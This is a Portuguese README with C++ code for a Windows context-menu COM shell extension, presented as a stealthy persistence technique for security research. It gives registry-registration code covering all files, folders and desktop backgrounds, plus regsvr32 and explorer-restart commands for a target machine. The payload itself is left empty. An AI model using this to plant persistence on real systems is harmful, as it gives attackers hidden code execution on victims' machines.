
Técnica de Persistência COM no Windows
inspirado por CVE-2026-21509
Uma implementação de exemplo de um manipulador de menu de contexto do Windows usando C++ e COM, demonstrando uma técnica furtiva de persistência. Ao registrar um objeto COM personalizado, seu código é executado sempre que um usuário clica com o botão direito em alvos específicos (arquivos, pastas ou fundos) no Windows Explorer.
Aviso: Este projeto é destinado apenas para fins educacionais e de pesquisa. As técnicas demonstradas aqui podem ser usadas para fins maliciosos. O autor não endossa o uso deste código para qualquer atividade ilegal. Seja responsável e use este conhecimento de forma ética.

DllMain.cpp
+-----------------------+
| DLL Template Project |
+-------+-------+-------+
____/ | \_____
| | |
v v v
+------------+ +----------------+ +--------------+
| Define | | MyClassFactory | | Define |
clsid_defined.h | CLSID | +----------------+ | Export | Source.def
+------------+ ClassFactory | Functions |
class +--------------+
|
|
v
+--------------+
| MyMenuHandler|
+--------------+
MyMenuHandler
class
DllMain.cppContém as funções padrão exigidas por um objeto COM para registrar e cancelar o registro da DLL.
DllRegisterServer(): Escreve os caminhos do registro correspondentes às extensões de arquivo/fundos alvo. Executado quando a DLL é registrada.STDAPI DllRegisterServer() {
std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
std::wstring dllPath = MyGetModuleFilename();
// 1. Register the COM Class (CLSID)
std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");
// 2. Register the DLL Path and Threading Model
std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");
// 3. Register for all Shell Contexts
// Array of paths to cover Files, Folders, Backgrounds, and Desktop
std::wstring handlerPaths[] = {
L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
};
for (const auto& path : handlerPaths) {
std::wstring fullPath = path + L"MyMenuHandler"; // Replace with your handler's name
SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
}
// 4. Register in the Approved list (Required for many Windows versions)
std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");
// 5. Notify the Shell that things have changed
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return S_OK;
}
DllUnregisterServer(): Limpa o registro. Chamado quando a DLL é cancelada.MyClassFactoryNecessário para instanciar o objeto COM. Leia mais sobre Fábricas de Classe.
Clsid_defined.hContém o GUID sob o qual a aplicação será registrada no Explorer. Você pode gerar um novo GUID usando o guidgen.exe do Visual Studio ou um Gerador de GUID online.
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);
Source.defO arquivo de Definição de Módulo. Isso determina quais funções a DLL exporta. Leia mais sobre arquivos .DEF.
EXPORTS
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
MyMenuHandler.cppA classe principal que implementa IShellExtInit e IContextMenu. É aqui que você define suas ações personalizadas.
MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
Chamada sempre que um clique direito ocorre em seu alvo registrado. Usada para analisar qual arquivo ou pasta foi clicado.HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);
// 1. Check if we clicked on a FILE/FOLDER
if (pdtobj)
{
STGMEDIUM medium;
FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
{
DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
ReleaseStgMedium(&medium);
return S_OK; // Success!
}
}
// 2. Check if we clicked the BACKGROUND (pidlFolder)
if (pidlFolder)
{
if (SHGetPathFromIDListA(pidlFolder, m_szFile))
{
return S_OK; // Success!
}
}
// 3. Fallback: If we got neither, still return S_OK to show the menu.
// You just won't have a path populated in m_szFile.
return S_OK;
}
MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp)
Chamada quando o usuário clica em sua opção personalizada específica no menu de contexto. É aqui que sua carga útil de persistência ou ação personalizada é executada.Na VM de destino, copie a DLL compilada e execute os seguintes comandos:
Registre a DLL usando binários padrão do Windows.
regsvr32.exe RightHandPersistence.dll
Reinicie o processo explorer.exe para garantir que ele carregue a nova extensão de shell na memória.
taskkill /f /im explorer.exe & start explorer.exe
Para remover o manipulador de menu de contexto e limpar o registro, use a flag /u com regsvr32.exe. Isso chama sua função DllUnregisterServer.
regsvr32.exe /u RightHandPersistence.dll
O Windows categoriza "espaço vazio" de forma diferente dos arquivos. Para mirar no fundo, mapeie suas chaves de registro para esses locais específicos.
| Alvo do Clique Direito | Caminho da Chave de Registro |
|---|---|
| Arquivos (Todos) | HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers |
| Pastas (O ícone) | HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers |
| Fundo de Pasta | HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers |
| Fundo da Área de Trabalho | HKEY_CLASSES_ROOT\DesktopBackground\shellex\ContextMenuHandlers |
Mais detalhes sobre mapeamento de extensões podem ser encontrados na documentação de Manipuladores de Menu de Contexto do Microsoft Shell.
Você pode especificar texto personalizado para o menu (por exemplo, "Cópia Personalizada" ou "Executar Diagnóstico") implementando o método IContextMenu::QueryContextMenu. Clicar neste texto personalizado aciona sua lógica dentro de IContextMenu::InvokeCommand.